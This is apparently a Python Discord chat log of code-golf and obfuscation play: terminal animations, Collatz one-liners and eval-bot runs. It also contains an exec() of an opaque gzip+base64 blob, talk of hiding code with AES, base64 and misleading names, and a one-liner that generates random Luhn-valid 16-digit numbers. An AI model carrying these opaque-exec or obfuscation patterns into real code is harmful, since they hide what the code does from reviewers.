no whitespace bad
readable*
breedable?
TIL that doesn't cause a concurrentmodificationexception
this code dont work
It probably should tbh
!e ```py
def highlight(code):
from itertools import groupby
return ''.join(filter(None, [i[0] == "F" and f'<span style="color: pink">{i}</span>' or i[0] == "R" and f'<span style="color: green">{i}</span>' or i[0] == 'L' and f'<span style="color: red">{i}</span>' or i.isnumeric() and f'<span style="color: orange">{i}</span>' for i in ' '.join(''.join(group) for key, group in groupby(code)).split()]))
print(highlight("With Christ in the vessel we can smile at the storm."))```
@upbeat sonnet :warning: Your eval job has completed with return code 0.
[No output]
oh.
@verbal talon can i get the ungolfed version of your code the unminified one you sent doesnt work
!e ```py
def highlight(code):
from itertools import groupby
return ''.join(map(str, [i[0] == "F" and f'<span style="color: pink">{i}</span>' or i[0] == "R" and f'<span style="color: green">{i}</span>' or i[0] == 'L' and f'<span style="color: red">{i}</span>' or i.isnumeric() and f'<span style="color: orange">{i}</span>' for i in ' '.join(''.join(group) for key, group in groupby(code)).split()]))
print(highlight("With Christ in the vessel we can smile at the storm."))```
@upbeat sonnet :white_check_mark: Your eval job has completed with return code 0.
FalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalseFalse
oh.
sad
Doesn't work how? There are a few differences like it deletes the trails and has a longer sleep, feel free to change those
@humble rune How's this https://paste.pythondiscord.com/nuzewuciju -- a newer version that also does random chars -- I also added a flush call to make sure it renders every update to the display
(i:=__import__,rr:=i('random').randrange,p:=lambda *a:print(*a,end='',flush=True),t:=i('blessed').Terminal(),H:=0,w:=t.width,h:=t.height,p(t.clear+t.home),x:=rr(w),y:=rr(h),vx:=1,vy:=1),p(t.hide_cursor),any(not(((x:=x+vx,y:=y+vy),(x:=1,vx:=1)if x<0 else(x:=w-2,vx:=-1)if x>=w else 0,(y:=1,vy:=1)if y<0 else(y:=h-2,vy:=-1)if y>=h else 0,p(t.move_xy(x,y)),(R:=i('colorsys').hsv_to_rgb(H/255,1,1)),p(t.bold(t.color_rgb(int(R[0]*255),int(R[1]*255),int(R[2]*255))("@"))),(H:=(H+7)&255),i('time').sleep(0.01)))for _ in i('itertools').count(0))```
shorter by 1 char xD
0xff -> 255
ty
(i:=__import__,rr:=i('random').randrange,n:=255,p:=lambda *a:print(*a,end='',flush=True),t:=i('blessed').Terminal(),H:=0,w:=t.width,h:=t.height,p(t.clear+t.home),x:=rr(w),y:=rr(h),vx:=1,vy:=1),p(t.hide_cursor),any(not(((x:=x+vx,y:=y+vy),(x:=1,vx:=1)if x<0else(x:=w-2,vx:=-1)if x>=w else 0,(y:=1,vy:=1)if y<0else(y:=h-2,vy:=-1)if y>=h else 0,p(t.move_xy(x,y)),(R:=i('colorsys').hsv_to_rgb(H/n,1,1)),p(t.bold(t.color_rgb(int(R[0]*n),int(R[1]*n),int(R[2]*n))("@"))),(H:=(H+7)&n),i('time').sleep(.01)))for _ in i('itertools').count(0))
i guess u can do this too
Yeah actually I think using map there or something might make sense
make rr → r
ya
if x<0else shows as a syntax error in my IDE but still runs, huh
(i:=__import__,rr:=i('random').randrange,n:=255,p:=lambda *a:print(*a,end='',flush=True),t:=i('blessed').Terminal(),H:=0,w:=t.width,h:=t.height,p(t.clear+t.home),x:=rr(w),y:=rr(h),vx:=1,vy:=1),p(t.hide_cursor),any(not(((x:=x+vx,y:=y+vy),(x:=1,vx:=1)if x<0else(x:=w-2,vx:=-1)if x>=w else 0,(y:=1,vy:=1)if y<0else(y:=h-2,vy:=-1)if y>=h else 0,p(t.move_xy(x,y)),(R:=i('colorsys').hsv_to_rgb(H/n,1,1)),p(t.bold(t.color_rgb(int(R[0]*n),int(R[1]*n),int(R[2]*n))("@"))),H:=H+7&n,i('time').sleep(.01)))for _ in i('itertools').count(0))
removed some parens
.
Oh shoot now I have a new version
(i:=__import__,r:=i('random').randrange,n:=255,p:=lambda *a:print(*a,end='',flush=True),t:=i('blessed').Terminal(),H:=0,w:=t.width,h:=t.height,p(t.clear+t.home),x:=r(w),y:=r(h),vx:=1,vy:=1),p(t.hide_cursor),any(not(((x:=x+vx,y:=y+vy),(x:=1,vx:=1)if x<0else(x:=w-2,vx:=-1)if x>=w else 0,(y:=1,vy:=1)if y<0 else(y:=h-2,vy:=-1)if y>=h else 0,p(t.move_xy(x,y)),(R:=i('colorsys').hsv_to_rgb(H/n,1,1)),p(t.bold(t.color_rgb(*map(lambda m:int(m*n),R))("@"))),(H:=(H+7)&n),i('time').sleep(.01)))for _ in iter(int,1))
Gotta resolve some merge conflicts now
mmm, code soup
merge conflicts with golfed code must be a nightmare
print("🥦")
I mean so this is something else I've been thinking about. I can gzip my code and that shrinks it, but I have to base64 encode it to input it into the code, which makes it bigger again
(i:=__import__,exec(i('gzip').decompress(i('base64').b64decode("H4sIAA+gfmIAA0VQTW/rIBC891dYPbywyTZ1KlVPQqXqMeeqd0RiEpD4sIDY5t93cVr1YAwzOzMwzHIhpfVjTEVKTFxYtkkqDNFvYN829F01Bi5eXl9x5MIpfxpUt1V8TDYUtlWowyA2G7y4WzbiK900YFmNTk7nrAdy+tLJ26AcAzxy0ePMRdnPdigGTdsaba+m4MjK/uy0SjuCoiejhYvEZsDa/gZwIuCAEx0PsI4bO2h5vqUcE6AKlYVYGGM0tuympenqbqqA7C5sK9hLt7z12mXd0PnpZcWf7sS7mLtGdT2y+hdGVH3rV6bBponqr6i+C/MrapfycdJyqYzygaI/1zbO0cWUa6Y6TJ5kiTJdT+z4HPCAB7i/5hTd0Dpooyu99WpkP5173gr32wD4CcAePx6huVOh7Lj7D/8Ip5hivaaI7LQe2b4nZ7jE1MnOho5oW3QqMbp2jXO8kWEP8PANnD5svwgCAAA="))))
But of course we can use the full range of unicode characters, not just those in base64...
u dont need count(0), count() should work
Oh I think I was going to change that to iter(int,1)
(i:=__import__,r:=i('random').randrange,n:=255,p:=lambda *a:print(*a,end='',flush=True),t:=i('blessed').Terminal(),H:=0,w:=t.width,h:=t.height,p(t.clear+t.home),x:=r(w),y:=r(h),vx:=1,vy:=1),p(t.hide_cursor),any(not(((x:=x+vx,y:=y+vy),(x:=1,vx:=1)if x<0else(x:=w-2,vx:=-1)if x>=w else 0,(y:=1,vy:=1)if y<0 else(y:=h-2,vy:=-1)if y>=h else 0,p(t.move_xy(x,y)),(R:=i('colorsys').hsv_to_rgb(H/n,1,1)),p(t.bold(t.color_rgb(*map(lambda m:int(m*n),R))("@"))),H:=H+7&n,i('time').sleep(.01)))for _ in iter(int,1))
(H:=(H+7)&n) = H:=H+7&n
does a bytestring not work?
I think that will print even longer, because it will be in hex
hmm. ig so
Does code golf have to be in ASCII? Otherwise what does a "shorter" program mean? Fewer code points? But UTF-8 is variable width so you can pack more bits into the longer sequences
Anyway I think it would be cool to "pack" this/another program into UTF-8 so that it occupies very few codepoints
in general, ASCII yes, but stuff like APL and J exist
!e python import base64;base64_message='cHJpbnQoIkhlbGxvLCBXb3JsZCIp';base64_bytes=base64_message.encode('ascii');message_bytes=base64.b64decode(base64_bytes);message=message_bytes.decode('ascii');eval(message)
@honest sierra :white_check_mark: Your eval job has completed with return code 0.
Hello, World
Usually (at least how I know it from PPCG) it's measured in bytes. Some esolangs use custom codepages, or require non-ASCII characters (like the aforementioned APL).
ty
btw this is what the end result looks like for anyone curious
Deserves a pin, change my mind
[o for o in l if (not a or a == o.a) and (not b or b == o.b)]?
a is None or o.a==a and(b is None or o.b==b)
presumably a = 0 should not trigger it
perhaps ¯_(ツ)_/¯
!e
import operator
from collections import namedtuple
import fishhook
Card = namedtuple('Card', 'suit rank')
class Deck:
def __init__(self) -> None:
self.cards = [
Card(s, n)
for n in ['A', *range(2, 11), 'J', 'Q', 'K']
for s in ('♠️', '♥️', '♣️', '♦️')
]
def search(self, query):
yield from filter(query, self.cards)
for op in ("and", "or"):
for t in (str, type(lambda:0)):
@fishhook.hook(t, name=f"__{op}__")
def f(*args, op=op):
return lambda c: getattr(operator, f"{op}_")(
*(x in str(c) if isinstance(x, str) else x(c) for x in args),
)
d = Deck()
print(*d.search('A' & '♠️'), sep='\n')
@restive void :white_check_mark: Your eval job has completed with return code 0.
Card(suit='♠️', rank='A')
fun with fishhook 
!e Can be chained as you wish
print(*d.search('A' & '♠️' | '4'), sep='\n')
@restive void :white_check_mark: Your eval job has completed with return code 0.
001 | Card(suit='♠️', rank=4)
002 | Card(suit='♥️', rank=4)
003 | Card(suit='♣️', rank=4)
004 | Card(suit='♦️', rank=4)
005 | Card(suit='♠️', rank='A')
(Although a proper deck of cards should be initialized like this:
self.cards = sorted([Card(s,n)for n in['A',*range(2,11),'J','Q','K']for s in'♠️♦️♣️♥️')],key=lambda c:('♠️♦️♣️♥️'.index(c.suit),{'A':1,'J':11,'Q':12,'K':13}.get(c.rank,c.rank)*-('♠️♦️♣️♥️'.index(c.suit)-2)))
)
H:=0,(p:=lambda *a:print(*a,end='',flush=True))(t.clear+t.home),x:=(r:=(i:=__import__)('random').randrange)(w:=(t:=i('blessed').Terminal()).width),y:=r(h:=t.height),vx:=1,vy:=1,p(t.hide_cursor),any(not((x:=x+vx,y:=y+vy),x<0and(x:=1,vx:=1)or(x>=w and(x:=w-2,vx:=-1)),y<0and(y:=1,vy:=1)or(y>=h and(y:=h-2,vy:=-1)),p(t.move_xy(x,y)),p(t.bold(t.color_rgb(*map(lambda m:int(m*n),i('colorsys').hsv_to_rgb(H/(n:=255),1,1)))("@"))),H:=H+7&n,i('time').sleep(.01))for _ in iter(int,1))
``` will this work
Try doing it without imports
ok then it's not possible unless you somehow manipulate the terminal in python without importing
You can use ansi escape codes
yes but that requires __import__('os').system('call') to work
else it just prints this
ANSI escape codes are just output to the terminal. (Unless you are on windows then some don't work)
ok well i'm on windows
Although I think Windows Terminal has them now
!e py for i in range(30, 38): print(f'\033[1;{i};40m THIS.')
@upbeat sonnet :white_check_mark: Your eval job has completed with return code 0.
001 | [1;30;40m THIS.
002 | [1;31;40m THIS.
003 | [1;32;40m THIS.
004 | [1;33;40m THIS.
005 | [1;34;40m THIS.
006 | [1;35;40m THIS.
007 | [1;36;40m THIS.
008 | [1;37;40m THIS.
How do you think it would parse ANSI escape sequences? it's discord syntax colouring, not a terminal
in this case you would not use the bot, rather screenshot yourself doing the thing
acrylic gang
Discord has been slowly rolling out ansi support for a while, now
[1;30;40m THIS.
[1;31;40m THIS.
[1;32;40m THIS.
[1;33;40m THIS.
[1;34;40m THIS.
[1;35;40m THIS.
[1;36;40m THIS.
[1;37;40m THIS.
doesnt work in vsc
thats why i attempted here
if __import__('os').system('') doesn't fix that then try using a normal terminal
nor idle
why the \n at the beggining
to oneline
k
Hey @sick hound!
You either uploaded a .txt file or entered a message that was too long. Please use our paste bin instead.
code
You can just .system('')
code
Hey @sick hound!
It looks like you tried to attach a Python file - please use a code-pasting service such as https://paste.pythondiscord.com
code
grrr
code
bruh
any recomendations for py obfuscators?
wrong file lmao
lmao
AES 265
Hey @humble rune!
It looks like you tried to attach a Python file - please use a code-pasting service such as https://paste.pythondiscord.com
code
so would i just encrypt that code into aes 265
then exec(aes.decrypt('''asdasdasd)) it
fuck taht looks complicated to do lol
get the decryption from something else
whats the simplest way to do it lol
like a link that only works once
just dont
like why are you obfuscating python code tho
idk funny
why do that when can make code small
nah big code = big funi
small code = mental pain + funny
!e
print("hello")
golfed your code
removed 193944 characters
@humble rune :white_check_mark: Your eval job has completed with return code 0.
hello
IDLE is a gui not a terminal application. I think it uses turtle or tkinter or something
it's possible to find out through higher frame access
Hey @sick hound!
You either uploaded a .txt file or entered a message that was too long. Please use our paste bin instead.
code
!eval <code>
Can also use: e
*Run Python code and get the results.
This command supports multiple lines of code, including code wrapped inside a formatted code block. Code can be re-evaluated by editing the original message within 10 seconds and clicking the reaction that subsequently appears.
We've done our best to make this sandboxed, but do let us know if you manage to find an issue with it!*
fr
!e ```py
all =[]
class OOO0O0OOO000OOOO0 ():
class_public_var ='class_public_var'
_class_public_var ='_class_public_var'
__OOOO0000000000O00 =[5047 ,2136 ,8662 ,4320 ,4627 ,8272 ,2896 ,5746 ,9657 ,5328 ,127 ,2998 ,8700 ,1516 ,2730 ,9572 ,4144 ,7134 ,9366 ,2318 ,2677 ,791 ,3837 ,4022 ,794 ,8487 ,2890 ,7721 ,8309 ,5484 ,9826 ,5089 ,8199 ,895 ,4877 ,1205 ,18 ,5751 ,1377 ,1548 ,6799 ,4414 ,4704 ,1566 ,8055 ,7576 ,882 ,2447 ,4987 ,4286 ,2392 ,94 ,5373 ,1985 ,427 ,6090 ,6802 ,8539 ,1850 ,7035 ,6074 ,1555 ,8707 ,5252 ,3675 ,1006 ,663 ,6504 ,4841 ,7520 ,8163 ,4690 ,4135 ,7201 ,2796 ,1671 ,722 ,9965 ,900 ,2550 ,9735 ,5287 ,5481 ,4228 ,698 ,9630 ,4501 ,2997 ,2515 ,6266 ,2626 ,3101 ,9253 ,2238 ,5937 ,6985 ,2894 ,8913 ,8215 ,1695 ,5179 ,7312 ,4382 ,6739 ,904 ,9155 ,4058 ,2779 ,5563 ,5497 ,7835 ,5939 ,6912 ,8064 ,1395 ,3002 ,2325 ,7485 ,3227 ,8380 ,5981 ,4814 ,5919 ,6472 ,1902 ,6588 ,9583 ,7586 ,8862 ,3859 ,8619 ,359 ,9179 ,6668 ,4430 ,1815 ,4873 ,4678 ,5901 ,1261 ,9107 ,2459 ,6087 ,1581 ,695 ,2452 ,7072 ,1363 ,4802 ,8100 ,3017 ,7321 ,1200 ,24 ,6817 ,2354 ,4114 ,3972 ,3523 ,4516 ,3557 ,4986 ,6578 ,2249 ,8243 ,7070 ,6426 ,3931 ,3050 ,6870 ,3028 ,7408 ,8470 ,5811 ,8839 ,2982 ,2262 ,3137 ,9588 ,2420 ,5526 ,2146 ,4492 ,7073 ,6363 ,2304 ,4440 ,4424 ,6447 ,967 ,3687 ,2648 ,5397 ,5942 ,5736 ,2840 ,5316 ,2178 ,3926 ,1987 ,4455 ,1344 ,8279 ,5162 ,2621 ,8485 ,9698 ,8241 ,9289 ,5843 ,2708 ,1550 ,1439 ,3532 ,3130 ,7471 ,31 ,1842 ,5912 ,985 ,5621 ,9298 ,491 ,1084 ,3848 ,4667 ,8259 ,7065 ,209 ,5897 ,2440 ,8267 ,1356 ,1704 ,8971 ,2681 ,8211 ,1935 ,3415 ,6085 ,7470 ,5043 ,3949 ,8113 ,2059 ,3818 ,3064 ,9373 ,6018 ,5761 ,5331 ,9681 ,9089 ,8080 ,6889 ,6109 ,1788 ,7049 ,3601 ,6757 ,1829 ,4201 ,5389 ,775 ,1289 ,2854 ,4120 ,7238 ,6008 ,5354 ,9920 ,4977 ,175 ,2112 ,3080 ,353 ,2340 ,708 ,812 ,5698 ,5656 ,7790 ,5976 ,2141 ,6991 ,3667 ,5771 ,4714 ,2184 ,7288 ,4379 ,2547 ,6915 ,7953 ,989 ,2077 ,7063 ,5426 ,4341 ,5119 ,8368 ,7227 ,5692 ,1574 ,3550 ,4834 ,6525 ,7555 ,3579 ,5774 ,6897 ,6803 ,595 ,6516 ,3907 ,3801 ,6372 ,3106 ,478 ,2236 ,3830 ,4234 ,5738 ,5712 ,4002 ,5933 ,3163 ,5028 ,637 ,3997 ,2709 ,6847 ,1179 ,7711 ,2389 ,9322 ,3348 ,704 ,401 ,1500 ,7339 ,6546 ,1931 ,4239 ,3420 ,9358 ,8111 ,4643 ,7514 ,5245 ,6750 ,1143 ,7316 ,171 ,9676 ,717 ,5964 ,4277 ,9461 ,2088 ,9866 ,2792 ,218 ,5194 ,1310 ,1710 ,4194 ,8938 ,3566 ,1369 ,5433 ,3257 ,6212 ,8330 ,8767 ,7202 ,3731 ,7596 ,1734 ,7414 ,9660 ,5975 ,7979 ,4251 ,9504 ,5718 ,5457 ,4564 ,2989 ,4160 ,724 ,1449 ,356 ,4265 ,334 ,5710 ,9263 ,813 ,9818 ,4754 ,6481 ,1182 ,384 ,5431 ,2049 ,8363 ,5406 ,8316 ,8065 ,3976 ,726 ,3160 ,3664 ,7111 ,2122 ,291 ,9527 ,1373 ,1530 ,9694 ,2331 ,5620 ,3150 ,2131 ,7764 ,2130 ,4151 ,7301 ,5336 ,6434 ,7598 ,9522 ,9581 ,5682 ,8231 ,6492 ,4803 ,2082 ,1351 ,8133 ,5544 ,9879 ,9540 ,7617 ,5465 ,896 ,8287 ,7324 ,492 ,1087 ,7532 ,7149 ,7443 ,3012 ,8587 ,3753 ,7900 ,3461 ,3418 ,227 ,79 ,5146 ,2373 ,7399 ,6665 ,1196 ,6552 ,3419 ,5730 ,2365 ,5145 ,841 ,1753 ,7293 ,6268 ,4837 ,1350 ,949 ,7751 ,9558 ,1358 ,8359 ,1415 ,7092 ,6113 ,9626 ,8253 ,5500 ,9552 ,1869 ,376 ,1535 ,6910 ,2625 ,9536 ,80 ,8172 ,5017 ,1927 ,2985 ]
def init (OOOO0OOOO00OO0O00 ):
O000O0OOO00OO000O ="a"
def public_method (O0O0000OOOO0O0OO0 ):
print ("hello")
OOO0O0OO000O0OO00 =OOO0O0OOO000OOOO0 ()
OOO0O0OO000O0OO00 .public_method ()
@sick hound :white_check_mark: Your eval job has completed with return code 0.
hello
exec a string outputted by a brainfuck interpreter interpreting a brainfuck script
yes!
and also add encryption
so it has to decrypt before brainfucking
removed 3294 characters
!e
print("hello")
well i can add more
and also don't use the standard brainfuck charactrs
just use any random 7 characters
and interpret them as equivalent to +-[]<>. respectively
for example you could make an integer with only the digits 1234567 involved
i use b64, fernet, singlelining, docstr remover, rename params
I use useless or misleading names, and old-fashioned deception
i use making all my variables named alphabetically
You can use any integer, but get digita 0-6 in base 7
!e
for a in range(1000):
b,c=-~a,0
while b-1:b=[b/2,b*3+1][b%2>0];c+=1
print(c)
!e
for a in range(3,10):print([*__import__('itertools').takewhile(lambda x:x!=1,(a:=(a%2 and a*3+1 or a//2)for _ in iter(int,1)))])
@wheat river :white_check_mark: Your eval job has completed with return code 0.
001 | [10, 5, 16, 8, 4, 2]
002 | [2]
003 | [16, 8, 4, 2]
004 | [3, 10, 5, 16, 8, 4, 2]
005 | [22, 11, 34, 17, 52, 26, 13, 40, 20, 10, 5, 16, 8, 4, 2]
006 | [4, 2]
007 | [28, 14, 7, 22, 11, 34, 17, 52, 26, 13, 40, 20, 10, 5, 16, 8, 4, 2]
what this
collatz conj
!e ```py
for a in range(3,10):print([a:=a*[.5,3][b:=a%2]+b for _ in iter(lambda:a,1)])
@quartz wave :x: Your eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 1, in <module>
003 | File "<string>", line 1, in <listcomp>
004 | TypeError: list indices must be integers or slices, not float
ok
iter(lambda:a,1)oh right, i can do that 👀
!e ```py
for a in range(3,10):print([a:=a%2and a*3+1or a//2for _ in iter(lambda:a,1)])
@quartz wave :white_check_mark: Your eval job has completed with return code 0.
001 | [10, 5, 16, 8, 4, 2, 1]
002 | [2, 1]
003 | [16, 8, 4, 2, 1]
004 | [3, 10, 5, 16, 8, 4, 2, 1]
005 | [22, 11, 34, 17, 52, 26, 13, 40, 20, 10, 5, 16, 8, 4, 2, 1]
006 | [4, 2, 1]
007 | [28, 14, 7, 22, 11, 34, 17, 52, 26, 13, 40, 20, 10, 5, 16, 8, 4, 2, 1]
ok
if you want the before effect you could always do iter(lambda:a,2)
i had an idea to use a:=eval(f'a{['>>','*3+'][a%2]}1') but it was kinda long
!e
for a in range(3,10):print([a:=a*[.5,3][b:=a%2>0]+b for _ in iter(lambda:a,1)])
@wheat river :white_check_mark: Your eval job has completed with return code 0.
001 | [10, 5.0, 16.0, 8.0, 4.0, 2.0, 1.0]
002 | [2.0, 1.0]
003 | [16, 8.0, 4.0, 2.0, 1.0]
004 | [3.0, 10.0, 5.0, 16.0, 8.0, 4.0, 2.0, 1.0]
005 | [22, 11.0, 34.0, 17.0, 52.0, 26.0, 13.0, 40.0, 20.0, 10.0, 5.0, 16.0, 8.0, 4.0, 2.0, 1.0]
006 | [4.0, 2.0, 1.0]
007 | [28, 14.0, 7.0, 22.0, 11.0, 34.0, 17.0, 52.0, 26.0, 13.0, 40.0, 20.0, 10.0, 5.0, 16.0, 8.0, 4.0, 2.0, 1.0]
nah this is longer
Brainf--k?
print(69if not(not((not(not(69<<420>>69)))<<69<<420<<True-False))else 420)```
!e print(69if not(not((not(not(69<<420>>69)))<<69<<420<<True-False))else 420)
@split salmon :white_check_mark: Your eval job has completed with return code 0.
69
print(69)
golfed your code 
69
``` (only works in interactive AKA single mode of compiling) golfed even more
!e py print(chr(round(int(chr(....__class__.__class__.__sizeof__.__sizeof__()))/0.10256410256410256))+chr(round(....__class__.__class__.__sizeof__.__sizeof__()/0.5544554455445545))+chr(round(int(chr(....__class__.__class__.__sizeof__.__sizeof__()))/0.06779661016949153))+chr(round(int(chr(....__class__.__class__.__sizeof__.__sizeof__()))/0.07920792079207921))+chr(round(int(chr(....__class__.__class__.__sizeof__.__sizeof__()))/0.07017543859649122))+chr(round(int(chr(....__class__.__class__.__sizeof__.__sizeof__()))/0.25))+chr(round(....__class__.__class__.__sizeof__.__sizeof__()/0.7887323943661971))+chr(round(int(chr(....__class__.__class__.__sizeof__.__sizeof__()))/0.07207207207207207))+chr(round(int(chr(....__class__.__class__.__sizeof__.__sizeof__()))/0.07272727272727272))+chr(round(....__class__.__class__.__sizeof__.__sizeof__()/0.509090909090909))+chr(round(int(chr(....__class__.__class__.__sizeof__.__sizeof__()))/0.08247422680412371))+chr(round(int(chr(....__class__.__class__.__sizeof__.__sizeof__()))/0.25))+chr(round(int(chr(....__class__.__class__.__sizeof__.__sizeof__()))/0.11267605633802817))+chr(round(int(chr(....__class__.__class__.__sizeof__.__sizeof__()))/0.0761904761904762))+chr(round(int(chr(....__class__.__class__.__sizeof__.__sizeof__()))/0.06779661016949153))+chr(round(int(chr(....__class__.__class__.__sizeof__.__sizeof__()))/0.07920792079207921))+chr(round(....__class__.__class__.__sizeof__.__sizeof__()/1.75))+chr(round(int(chr(....__class__.__class__.__sizeof__.__sizeof__()))/0.0898876404494382))+chr(round(....__class__.__class__.__sizeof__.__sizeof__()/0.5045045045045045))+chr(round(....__class__.__class__.__sizeof__.__sizeof__()/0.47863247863247865))+chr(round(int(chr(....__class__.__class__.__sizeof__.__sizeof__()))/0.25))+chr(round(....__class__.__class__.__sizeof__.__sizeof__()/0.6588235294117647))+chr(round(int(chr(....__class__.__class__.__sizeof__.__sizeof__()))/0.07142857142857142))) i wote this btw
@split salmon :white_check_mark: Your eval job has completed with return code 0.
Never Gonna Give You Up
yay it works
!e
import os
os._exit(123)
@fleet bridge :warning: Your eval job has completed with return code 123.
[No output]
!e
import sys
sys.exit("hello world")
@fleet bridge :x: Your eval job has completed with return code 1.
hello world
task failed successfully
Lol
hey!
If you wanna test the bot, please use #bot-commands
this channel has a specific purpose (see the channel topic)
Thanks, will do
!e
_ = [print,chr,int,(___:=(((_:=(([]==[])+([{}]!=[])))+(_<<_))+(__:=(~~([]==[])))+_+_+(_/_))*(_+_+_)+_/_),____:=(_i:=([{___}]==[{__}]))+___+_i+_i+_i+_i+_i+_i+_i+_i+_i+_i+_/_+_,(_____:=(__+_))*_____+____,(__+_+_+_+_+_+_+_+_+_+_+_+_)*_**_+__+_+__+__,(_+_+_+_+_<<_____>>__<<_<<_//_%_%_)*(__:=_-_)+_+__+____+_+_+_+__+_]
_[~~([]!=[])](_[[]==[]](_[__:=(~~([]==[])+([]==[]))](_[___:=~~([]==[])+([]==[])+~~([]==[])]))+_[[]==[]](_[__:=(~~([]==[])+([]==[]))](_[___+(~~([]==[]))]))+_[[]==[]](_[__:=(~~([]==[])+([]==[]))](_[___+__]))+_[[]==[]](_[__:=(~~([]==[])+([]==[]))](_[___+__+([]==[])]))+_[[]==[]](_[__:=(~~([]==[])+([]==[]))](_[___*__+(__//__)])))```
@sick hound :white_check_mark: Your eval job has completed with return code 0.
admin
hardcore
nice
!e ```py
a = ([] == []) + ([{}] != [])
b = ~~([] == [])
c = (([] == []) + ([{}] != []) + (a << a) + ~~([] == []) + a + a + a / a) * (a + a + a) + a / a
d = [{c}] == [{b}]
e = ([{c}] == [{b}]) + c + d + d + d + d + d + d + d + d + d + d + a / a + a
f = b + a
b = a - a
a = [print, chr, int, (([] == []) + ([{}] != []) + (a << a) + ~~([] == []) + a + a + a / a) * (a + a + a) + a / a, ([{c}] == [{b}]) + c + d + d + d + d + d + d + d + d + d + d + a / a + a, (b + a) * f + e, (b + a + a + a + a + a + a + a + a + a + a + a + a) * a ** a + b + a + b + b, (a + a + a + a + a << f >> b << a << a // a % a % a) * (a - a) + a + b + e + a + a + a + b + a]
b = ~~([] == []) + ([] == [])
c = ~~([] == []) + ([] == []) + ~~([] == [])
b = ([] == []) + ([] == [])([] == []) + ([] == [])](a[c * b + b // b])))
b = ([] == []) + ([] == [])([] == []) + ([] == [])](a[c + b + ([] == [])])) + a[[] == []](None, a[
b = ([] == []) + ([] == [])([] == []) + ([] == []) +
b = ([] == []) + ([] == [])([] == []) + ([] == [])](a[
[print, chr, int, (([] == []) + ([{}] != []) + (a << a) + ([] == []) + a + a + a / a) * (a + a + a) + a / a, ([{c}] == [{b}]) + c + d + d + d + d + d + d + d + d + d + d + a / a + a, (b + a) * f + e, (b + a + a + a + a + a + a + a + a + a + a + a + a) * a ** a + b + a + b + b, (a + a + a + a + a << f >> b << a << a // a % a % a) * (a - a) + a + b + e + a + a + a + b + a][([] != [])](a[[] == []](None, a[([] == [])])) + a[[] == []](None, a[([] == []) + ([] == [])](a[c + ([] == [])])) + a[[] == []](None, a[([] == []) + ([] == [])](a[c + b])) + a[[] == []](None, a[
@quartz wave :x: Your eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 15, in <module>
003 | TypeError: unsupported operand type(s) for <<: 'list' and 'list'
ok
tf
how does that work
what concepts do I need to learn in order to understand that?
the walrus operator
:=
...
ik it
but tf is all that symbol soup
oh wait
nvm
pretty hard to understand by only reading
yea, I saw all comparing just now and got it lol
def capitalize(s):return[(x:=''.join([n%2==0 and i.upper() or i for n,i in enumerate(s)])),x.swapcase()]
# can yall golf this```
c=lambda s:[x:=''.join([i.upper(),i][n&1]for n,i in enumerate(s)),x.swapcase()]
what does the bitwise and operator mean-
n%2
!e
cap = lambda s: ''.join([chr(ord(i) - 32), i][i.isupper()] for i in s)
print(cap('hEllO'))
@dense nova :white_check_mark: Your eval job has completed with return code 0.
HELLO
!e ```py
print("hELLO".upper())
@quartz wave :white_check_mark: Your eval job has completed with return code 0.
HELLO
?
'esoteric-python'
it includes golfing
print("HELLO")
golfed your code :
oh
personally i agree
but
print('HELLO')```
i think you won
i did
!e
m = 2
n = 2
for i in range(m):
for j in range(n):
print(i,j)
@frozen hazel :white_check_mark: Your eval job has completed with return code 0.
001 | 0 0
002 | 0 1
003 | 1 0
004 | 1 1
!e
m = 2
n = 2
for k in range(m*n):
print(k//n,k%n)
@frozen hazel :white_check_mark: Your eval job has completed with return code 0.
001 | 0 0
002 | 0 1
003 | 1 0
004 | 1 1
hm
!e
print(*sorted([*zip(a:=[*range(2)]*2,a[1::2]),*zip(a,a[::2])]),sep='\n')
@wheat river :white_check_mark: Your eval job has completed with return code 0.
001 | (0, 0)
002 | (0, 1)
003 | (1, 0)
004 | (1, 1)
!e
print(*zip((a:=[*range(2)]*2)[::2],a),*zip(a[1::2],a),sep='\n')```
!e
for i in range(4):print(i>>1,i&1)
oh
Generates a random number that fulfills luhn’s algo
while True:print(n)or quit()if(n:=__import__("random").randrange(10**15,10**16))and not sum([int(n)*(2 if i&1 else 1)-(9 if int(n)*2>9 and i&1 else 0) for i,n in enumerate(str(n)[::-1])])%10 else 0
can you change it into a function that yields infinite values?
also what is the time complexity of this?
No clue, bc it uses random nums till it gens it
lmao
Could be first try, could never happen
time complexity is prolly related to the distribution randrange uses internally for prng
Would that just be
lambda: while True:yield n if(n:=__import__("random").randrange(10**15,10**16))and not sum([int(n)*(2 if i&1 else 1)-(9 if int(n)*2>9 and i&1 else 0) for i,n in enumerate(str(n)[::-1])])%10 else 0
I havent messed w generators much
while true in a lambda and a yield?
🤷♂️
you cant have a multiple colons in one line + no keywords in a lambda
Idk how to make a loop until something happens wo a colon
Maybe could do smth w a list comp
is it even possible to golf this- py def print_array(arr):return','.join(map(str,arr))
wait deh
!e py print(f"len def: {len('def print_array(arr):return'):.2f}") print(f"len lambda: {len('print_array=lambda arr:':.2f}")
@upbeat sonnet :x: Your eval job has completed with return code 1.
001 | File "<string>", line 2
002 | print(f"len lambda: {len('print_array=lambda arr:':.2f}")
003 | ^
004 | SyntaxError: f-string: closing parenthesis '}' does not match opening parenthesis '('
!e ```py
print(*['a','b'],sep=',')
@old socket :white_check_mark: Your eval job has completed with return code 0.
a,b
@upbeat sonnet :white_check_mark: Your eval job has completed with return code 0.
001 | len def: 27.00
002 | len lambda: 23.00
[print(n)or quit()for _ in __import__('itertools').count()if(n:=__import__("random").randrange(10**15,10**16))and(len(str(n))==16 and str(n).isnumeric()and not sum([int(n)*(2 if i&1 else 1)-(9 if int(n)*2>9 and i&1 else 0) for i,n in enumerate(str(n)[::-1])])%10)]
Don't you still need the return on the lambda?
@old socket :white_check_mark: Your eval job has completed with return code 0.
foo
Oh I'm clearly losing it lol
You couldn't even put return in a lambda if you wanted to, it would be invalid syntax
Got it down to 223 chars
[print(n)or quit()for _ in __import__('itertools').count()if((n:=__import__('random').randrange(10**15,10**16))and not sum([int(n)*(2 if i&1 else 1)-(9 if int(n)*2>9 and i&1 else 0)for i,n in enumerate(str(n)[::-1])])%10)]
I think 223 anyway
